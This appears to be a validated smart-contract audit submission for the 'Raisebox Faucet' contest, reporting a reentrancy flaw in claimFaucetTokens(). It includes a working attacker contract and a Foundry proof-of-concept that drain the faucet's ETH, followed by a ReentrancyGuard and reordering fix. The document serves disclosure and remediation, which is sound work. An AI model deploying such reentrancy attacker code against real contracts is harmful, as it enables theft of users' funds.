Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

External ETH call before state updates allows reentrancy causing unlimited claims & ETH drain

[H-2] External ETH call before state updates allows reentrancy causing unlimited claims & ETH drain

Description

The claimFaucetTokens() function performs an external ETH transfer to the claimer before updating critical state variables. Because the external call forwards gas, a malicious claimer contract can re-enter claimFaucetTokens() during its fallback/receive and execute additional claims while the original call’s bookkeeping is still pending. This bypasses cooldowns and daily caps and allows draining ETH and tokens in a single transaction.

function claimFaucetTokens() public {
...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
// @audit Reentrancy attack can happen here.
// ETH send happens before important state updates.
// External call before state updates.
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
...
}
// Effects
// @audit Critical state updated after the external call.
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
...
}
}

Risk

Likelihood:

  • The function is public and makes a low-level .call to a user-controlled address with full gas forwarding.

  • No ReentrancyGuard or proper Checks–Effects–Interactions (CEI) ordering is used.

Impact:

  • A malicious contract can reenter during the .call{value:...} and claim multiple times before state updates.

  • Faucet’s ETH can be drained in a single transaction.

  • Cooldown (CLAIM_COOLDOWN) and dailyClaimCount become meaningless.

  • Events and tracking variables desynchronize from actual on-chain balances.

Proof of Concept

1.Attacker contract
Create test/attacker/ReentrancyAttacker.sol (or similar):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import "src/RaiseBoxFaucet.sol";
/// @notice Reentrancy test contract for local PoC only.
contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
uint256 public reentryRemaining;
address public tester; // who deployed the attacker
// NOTE: Use address payable here so conversion to the payable contract type is allowed.
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
tester = msg.sender;
}
/// @notice Kick off the attack: initial call to claimFaucetTokens.
/// @param times total number of claims to attempt (initial + reentries)
function attack(uint256 times) external {
require(msg.sender == tester, "only tester");
reentryRemaining = times;
faucet.claimFaucetTokens(); // initial call
}
/// @notice receive fallback will re-enter as long as reentryRemaining > 1
receive() external payable {
// If we still plan to reenter, and faucet still has ETH for another drip
if (reentryRemaining > 1 && address(faucet).balance >= faucet.sepEthAmountToDrip()) {
reentryRemaining--;
// re-enter before the original caller can update state
faucet.claimFaucetTokens();
}
}
// helper to withdraw any ETH captured in PoC
function withdraw() external {
require(msg.sender == tester, "only tester");
payable(tester).transfer(address(this).balance);
}
}

2.Foundry test (PoC)
Add this test to the existing test contract or create a new test file.

import {ReentrancyAttacker} from "test/attacker/ReentrancyAttacker.sol";
function test_reentrancyExploit() public {
// Faucet is already deployed in setUp()
// Ensure faucet has ETH to drip
vm.deal(address(raiseBoxFaucet), 1 ether);
uint256 faucetEthBefore = address(raiseBoxFaucet).balance;
emit log_named_uint("Faucet ETH before", faucetEthBefore);
// Deploy attacker contract; use payable cast for the faucet address
ReentrancyAttacker attacker = new ReentrancyAttacker(payable(address(raiseBoxFaucet)));
// Run the attack (initial + 4 reentries = 5 attempts)
attacker.attack(5);
// Faucet ETH decreased and attacker received ETH
uint256 faucetEthAfter = address(raiseBoxFaucet).balance;
uint256 attackerEth = address(attacker).balance;
emit log_named_uint("Faucet ETH after", faucetEthAfter);
emit log_named_uint("Attacker ETH", attackerEth);
// Expect faucet lost ETH and attacker gained ETH
assertLt(faucetEthAfter, faucetEthBefore, "Faucet ETH should be reduced");
assertGt(attackerEth, 0, "Attacker should have received ETH");
}

3.Run the test

forge test --match-test test_reentrancyExploit -vvv

Recommended Mitigation

  • Update state variables before external calls and add reentrancy protection.

  • Move all state updates (lastClaimTime, dailyClaimCount, etc.) before the .call() and mark the function as nonReentrant to prevent reentrancy attacks and ensure daily limits cannot be bypassed.

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// ...
- (bool sent, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
+ // update state before external call
+ lastClaimTime[msg.sender] = block.timestamp;
+ dailyClaimCount++;
+
+ (bool sent, ) = payable(msg.sender).call{value: sepEthAmountToDrip}("");
require(sent, "ETH transfer failed");
Updates

Lead Judging Commences

inallhonesty Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.